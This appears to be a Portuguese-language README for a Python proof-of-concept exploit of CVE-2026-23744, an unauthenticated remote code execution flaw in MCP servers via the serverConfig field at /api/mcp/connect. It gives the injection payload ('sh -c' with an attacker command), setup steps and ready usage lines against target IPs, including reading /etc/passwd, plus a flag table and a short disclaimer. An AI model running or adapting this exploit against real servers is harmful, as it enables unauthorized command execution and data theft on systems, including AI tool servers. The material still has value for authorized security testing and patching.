
Python PoC para CVE-2026-23744, RCE não autenticado em servidores MCP através do campo de comando serverConfig em /api/mcp/connect (porta padrão 6274)
Prova de conceito (PoC) por d3vn0mi
CVE-2026-23744 é uma vulnerabilidade de Execução Remota de Código (RCE) não autenticada em servidores compatíveis com MCP expostos na porta 6274. O endpoint /api/mcp/connect aceita um objeto serverConfig que permite aos chamadores especificar um comando e argumentos arbitrários do sistema operacional — sem qualquer verificação de autenticação ou autorização.
Um atacante com acesso à rede ao serviço pode executar comandos arbitrários como o utilizador que executa o servidor MCP.
| Detalhe | Valor |
|---|---|
| ID CVE | CVE-2026-23744 |
| Tipo | Execução Remota de Código Não Autenticada |
| Endpoint | POST /api/mcp/connect |
| Porta | 6274 (padrão) |
| Gravidade | Crítica |
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<COMANDO_DO_ATACANTE>"],
"env": {}
},
"serverId": "qualquer_coisa"
}
O servidor executa o command fornecido com os args indicados sem sanitização ou controlo de acesso.
git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt
# Utilização básica
python3 exploit.py -t <IP_ALVO> -c '<COMANDO>'
# Porta personalizada
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'
# Ignorar a verificação de alcance
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check
# ID de servidor personalizado
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server
| Flag | Descrição |
|---|---|
-t, --target | IP ou nome de anfitrião do alvo (obrigatório) |
-c, --command | Comando do sistema operativo a executar (obrigatório) |
-p, --port | Porta do alvo (padrão: 6274) |
-s, --server-id | Valor de serverId no payload |
--timeout | Tempo limite da sonda em segundos (padrão: 30) |
--no-check | Ignorar a verificação inicial de alcance |
/api/mcp/connect através de autenticação e controlos ao nível da rede.Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas informáticos é ilegal. O autor não assume qualquer responsabilidade por uso indevido. Obtenha sempre autorização adequada antes de testar.
Este projeto está licenciado sob a Licença MIT.
d3vn0mi — github.com/d3vn0mi